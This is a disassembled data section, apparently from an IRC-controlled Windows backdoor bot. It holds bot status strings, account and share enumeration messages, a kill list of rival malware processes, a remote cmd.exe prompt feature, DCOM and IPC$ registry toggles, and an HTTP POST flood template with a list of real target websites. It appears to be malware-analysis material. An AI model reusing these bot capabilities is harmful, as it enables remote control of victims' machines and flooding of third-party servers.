aYes db 'Yes',0 ; DATA XREF: sub_418634+B5o
aNo db 'No',0 ; DATA XREF: sub_418634+BCo
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418634+D0o
align 10h
unk_44E2C0 db 2 ; DATA XREF: sub_418634+76o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ShareListErro db '2 Share list Error %s <%ld>',0
align 10h
unk_44E300 db 2 ; DATA XREF: sub_418755+6Do
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2SUsernameS db '2 %s username: ',27h,'%s',27h,0
align 4
unk_44E338 db 2 ; DATA XREF: sub_418755+94o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2SErrorWithUse db '2 %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
unk_44E380 db 2 ; DATA XREF: sub_418755+B6o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2SNoUsernameSp db '2 %s: no username specified',0
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_41889B+50o
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41889B+81o
align 4
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41889B+ACo
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41889B+D4o
aGuest db 'Guest',0 ; DATA XREF: sub_41889B:loc_4189B4o
align 4
aUser_3 db 'User',0 ; DATA XREF: sub_41889B:loc_4189ADo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_41889B:loc_4189A6o
align 4
aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_41889B+104o
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41889B+125o
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41889B+14Do
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41889B+178o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41889B+1A0o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41889B+1CBo
align 10h
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41889B+1F3o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41889B+21Eo
align 10h
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41889B+246o
align 10h
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41889B+271o
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41889B+299o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41889B+2C4o
align 4
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41889B+2ECo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41889B+317o
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41889B+33Fo
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41889B+36Ao
align 4
unk_44E548 db 2 ; DATA XREF: sub_41889B+394o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2UserInfoError db '2 user info error <%ld>',0
align 4
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_418C69+29o
unk_44E5A8 db 2 ; DATA XREF: sub_418C69+F7o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2AnAccessViola db '2 an access violation has occured',0
align 4
aS_34 db ' %S',0 ; DATA XREF: sub_418C69+BEo
align 4
unk_44E5F4 db 2 ; DATA XREF: sub_418C69+7Ao
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2UserListError db '2 user list error %s <%ld>',0
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_418C69+14Fo
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_418DE9:loc_418E4Co
align 4
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_418DE9:loc_418E8Do
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_418DE9:loc_418E56o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_418DE9+3Bo
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_418DE9:loc_418E42o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_418DE9:loc_418E38o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_418DE9:loc_418E2Eo
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_418DE9:loc_418EF8o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_418DE9+89o
align 10h
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_418DE9:loc_418E7Co
align 4
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_418DE9:loc_418E86o
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_418DE9:loc_418EF1o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_418DE9+CFo
db ' the domain.',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_418DE9:loc_418EC6o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_418DE9:loc_418EBFo
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_418DE9:loc_418ECDo
db 'ord policy requirement.)',0
align 4
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_418DE9:loc_418F06o
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_418DE9:loc_418E94o
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_418DE9:loc_418EFFo
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_418DE9:loc_418EEAo
align 4
unk_44E908 db 2 ; DATA XREF: seg000:00418F9Eo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2MessageSentSu db '2 message sent successfully',0
align 4
dword_44E948 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F024Eh
; DATA XREF: seg000:00418FC8o
dd 254021Fh, 2C313003h, 3A353103h, 25203203h, 34032073h
dd 76726553h, 3A037265h, 20532520h, 654D3403h, 67617373h
dd 203A0365h, 5325h
dword_44E98C dd 7530h off_44E990 dd offset dword_44E9F0 ; DATA XREF: sub_419046+CBo
dd offset dword_44E9FC
dd offset dword_44EA0C
dd offset dword_44EA18
dd offset dword_44EA24
dd offset dword_44EA30
dd offset dword_44EA3C
dd offset dword_44EA4C
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset aSysinfo_exe ; "sysinfo.exe"
dd offset aMscvb32_exe ; "mscvb32.exe"
dd offset aMsblast_exe ; "MSBLAST.exe"
dd offset aTeekids_exe ; "teekids.exe"
dd offset aPenis32_exe ; "Penis32.exe"
dd offset aBbeagle_exe ; "bbeagle.exe"
dd offset aSysmonxp_exe ; "SysMonXP.exe"
dd offset aWinupd_exe ; "winupd.exe"
dd offset aWinsys_exe ; "winsys.exe"
dd offset aSsate_exe ; "ssate.exe"
; ---------------------------------------------------------------------------
add al, 0EBh
inc esp
add [eax], dl
jmp short loc_44EA2B
; ---------------------------------------------------------------------------
align 4
dd offset aIrun4_exe ; "irun4.exe"
dd offset aI11r54n4_exe ; "i11r54n4.exe"
dword_44E9F0 dd 65676572h, 2E746964h, 657865h ; seg002:off_44E990o
dword_44E9FC dd 6F63736Dh, 6769666Eh, 6578652Eh, 0dword_44EA0C dd 7374656Eh, 2E746174h, 657865hdword_44EA18 dd 6C62736Dh, 2E747361h, 657865hdword_44EA24 dd 7270617Ah db 6Fh, 2Eh, 65h
; ---------------------------------------------------------------------------
loc_44EA2B: ; CODE XREF: seg002:0044E9E5j
js short near ptr aSysinfo_exe+0Ah
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_44EA30 dd 7776616Eh, 652E3233h, 6578hdword_44EA3C dd 6176616Eh, 32337770h, 6578652Eh, 0dword_44EA4C dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65haWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: seg002:0044E9B0o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: seg002:0044E9B4o
align 4
aSysinfo_exe db 'sysinfo.exe',0 ; CODE XREF: seg002:loc_44EA2Bj
; DATA XREF: seg002:0044E9B8o
aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: seg002:0044E9BCo
aMsblast_exe db 'MSBLAST.exe',0 ; DATA XREF: seg002:0044E9C0o
aTeekids_exe db 'teekids.exe',0 ; DATA XREF: seg002:0044E9C4o
aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: seg002:0044E9C8o
aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: seg002:0044E9CCo
aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: seg002:0044E9D0o
align 10h
aWinupd_exe db 'winupd.exe',0 ; DATA XREF: seg002:0044E9D4o
align 4
aWinsys_exe db 'winsys.exe',0 ; DATA XREF: seg002:0044E9D8o
align 4
aSsate_exe db 'ssate.exe',0 ; DATA XREF: seg002:0044E9DCo
align 4
aRate_exe db 'rate.exe',0
align 10h
aD3dupdate_exe db 'd3dupdate.exe',0
align 10h
aIrun4_exe db 'irun4.exe',0 ; DATA XREF: seg002:0044E9E8o
align 4
aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: seg002:0044E9ECo
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_419046+5Ao
align 10h
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419046+17Do
align 4
aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_419046+18Bo
align 4
aSD_2 db ' %s (%d)',0 ; DATA XREF: sub_419046+19Fo
align 4
aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_419046+207o
align 4
dword_44EB88 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 2720250h
; DATA XREF: sub_419289+19o
dd 263026Fh, 30030273h, 31032C32h, 32035D35h, 26C0220h
dd 2730269h, 6E026974h, 2206702h, 6F720250h, 65026302h
dd 2730273h, 3A7365h
dword_44EBCC dd 35310302h, 25B302Ch, 91323003h, 2343003h, 2720250h
; DATA XREF: sub_419289+80o
dd 263026Fh, 30030273h, 31032C32h, 32035D35h, 2500220h
dd 63026F72h, 73026502h, 2207302h, 269026Ch, 20740273h
dd 6F024302h, 270026Dh, 7402656Ch, 6502h
dword_44EC18 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 2720250h
; DATA XREF: sub_419289:loc_419310o
dd 263026Fh, 30030273h, 31032C32h, 32035D35h, 2500220h
dd 63026F72h, 73026502h, 2207302h, 269026Ch, 20740273h
dd 61024602h, 6C026902h, 64026502h, 0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:00419459o
aS_24 db '%s',0 ; DATA XREF: seg000:loc_419472o
align 4
dd 35310302h, 25B302Ch, 91323003h, 2343003h, 24D0263h
dd 30030264h, 31032C32h, 32033A35h, 756F4320h, 6E20646Ch
dd 7220746Fh, 20646165h, 61746164h, 6F726620h, 7270206Dh
dd 6563636Fh, 0A0D7373h, 0
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 63h ; c
db 2, 4Dh, 2
db 64h ; d
db 2, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 3Ah, 3, 32h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 63h ; c
db 2, 4Dh, 2
db 64h ; d
db 2, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 3Ah, 3, 32h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_419602+20o
unk_44ED4C db 2 ; DATA XREF: sub_419602+150o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 63h ; c
db 2, 4Dh, 2
db 64h ; d
db 2, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 3Ah, 3, 32h
aRemoteCommandP db ' Remote Command Prompt',0
align 4
unk_44ED84 db 2 ; DATA XREF: sub_419602+198o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 63h ; c
db 2, 4Dh, 2
db 64h ; d
db 2, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 3Ah, 3, 32h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 10h
off_44EDD0 dd offset dword_44EDF0 ; DATA XREF: seg000:004199CDo
; seg000:00419CB7o
align 8
dd offset dword_44EDF8
align 10h
off_44EDE0 dd offset dword_44EE00 ; DATA XREF: seg000:00419D1Fo
dd offset dword_44EE04
dd offset dword_44EE08
dd offset dword_44EE0C
dword_44EDF0 dd 24435049h, 0 ; seg002:off_44EDD0o
dword_44EDF8 dd 494D4441h, 244Ehdword_44EE00 dd 2443h dword_44EE04 dd 5C3A43h dword_44EE08 dd 2444h dword_44EE0C dd 5C3A44h word_44EE10 dw 4Eh ; DATA XREF: seg000:00419852r
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: seg000:0041986Eo
align 10h
unk_44EE20 db 2 ; DATA XREF: seg000:00419880o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aDisableDcomFai db 'Disable DCOM failed.',0
align 10h
dword_44EE60 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F0253h
; DATA XREF: seg000:loc_419887o
dd 263021Fh, 65720275h, 31300302h, 3531032Ch, 2032033Ah
dd 4D4F4344h, 73696420h, 656C6261h, 2E64h
unk_44EE98 db 2 ; DATA XREF: seg000:004198ABo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFailedToOpenDc db 'Failed to open DCOM registry key.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: seg000:00419907o
align 4
unk_44EEF8 db 2 ; DATA XREF: seg000:00419920o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFailedToRestri db 'Failed to restrict access to the IPC$ Share.',0
align 10h
unk_44EF50 db 2 ; DATA XREF: seg000:loc_419927o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aRestrictedAcce db 'Restricted access to the IPC$ Share.',0
align 10h
unk_44EFA0 db 2 ; DATA XREF: seg000:loc_419945o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFailedToOpenIp db 'Failed to open IPC$ Restriction registry key.',0
align 4
unk_44EFF8 db 2 ; DATA XREF: seg000:loc_41994Co
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aAdvapi32_dllCo db 'Advapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_44F044 db 2 ; DATA XREF: seg000:00419A75o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aShareSDeleted_ db 'Share ',27h,'%S',27h,' deleted.',0
unk_44F080 db 2 ; DATA XREF: seg000:loc_419A7Co
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFailedToDelete db 'Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_44F0C8 db 2 ; DATA XREF: seg000:004199E2o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aShareSDelete_0 db 'Share ',27h,'%s',27h,' deleted.',0
unk_44F104 db 2 ; DATA XREF: seg000:loc_4199E9o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFailedToDele_0 db 'Failed to delete ',27h,'%s',27h,' share.',0
align 4
unk_44F14C db 2 ; DATA XREF: seg000:00419AE9o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aNetworkSharesD db 'Network shares deleted.',0
unk_44F18C db 2 ; DATA XREF: seg000:00419AFFo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aNetapi32_dllCo db 'Netapi32.dll couldn',27h,'t be loaded.',0
align 4
word_44F1D8 dw 59h ; DATA XREF: seg000:00419B76r
align 4
aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: seg000:00419B92o
align 4
unk_44F1E8 db 2 ; DATA XREF: seg000:00419BA4o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aEnableDcomFail db 'Enable DCOM failed.',0
dword_44F224 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F0253h
; DATA XREF: seg000:loc_419BABo
dd 263021Fh, 65720275h, 31300302h, 3531032Ch, 2032033Ah
dd 4D4F4344h, 616E6520h, 64656C62h, 2Eh
unk_44F25C db 2 ; DATA XREF: seg000:00419BCFo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFailedToOpen_0 db 'Failed to open DCOM registry key.',0
align 4
aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: seg000:00419C2Bo
align 4
unk_44F2BC db 2 ; DATA XREF: seg000:00419C40o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFailedToUnrest db 'Failed to unrestrict access to the IPC$ Share.',0
align 4
unk_44F314 db 2 ; DATA XREF: seg000:loc_419C47o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aUnrestrictedAc db 'Unrestricted access to the IPC$ Share.',0
align 4
unk_44F364 db 2 ; DATA XREF: seg000:loc_419C65o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFailedToOpen_1 db 'Failed to open IPC$ restriction registry key.',0
align 4
unk_44F3BC db 2 ; DATA XREF: seg000:loc_419C6Co
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aAdvapi32_dll_0 db 'Advapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_44F408 db 2 ; DATA XREF: seg000:00419CD0o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aShareSAdded_ db 'Share ',27h,'%s',27h,' added.',0
align 4
dword_44F444 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F0253h
; DATA XREF: seg000:loc_419CD7o
dd 263021Fh, 65720275h, 31300302h, 3531032Ch, 2032033Ah
dd 6C696146h, 74206465h, 6461206Fh, 25272064h, 73202773h
dd 65726168h, 2Eh, 246325h, 5C3A6325h, 0
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aShareSAdded__0 db 'Share ',27h,'%s',27h,' added.',0
align 10h
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFailedToAddSSh db 'Failed to add ',27h,'%s',27h,' share.',0
align 4
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aNetworkSharesA db 'Network shares added.',0
align 4
unk_44F554 db 2 ; DATA XREF: seg000:00419E16o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 65h
db 1Fh
db 2, 63h, 2
db 75h ; u
db 2, 72h, 65h
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aNetapi32_dll_1 db 'Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_419E6F+DEo
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
asc_44F5D4 db 0Dh,0Ah,0 ; DATA XREF: sub_419E6F+F2o
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: seg000:0041A05Fo
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: seg000:0041A066o
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: seg000:0041A06Do
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: seg000:0041A074o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: seg000:0041A07Bo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: seg000:0041A082o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: seg000:0041A089o
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: seg000:0041A090o
align 4
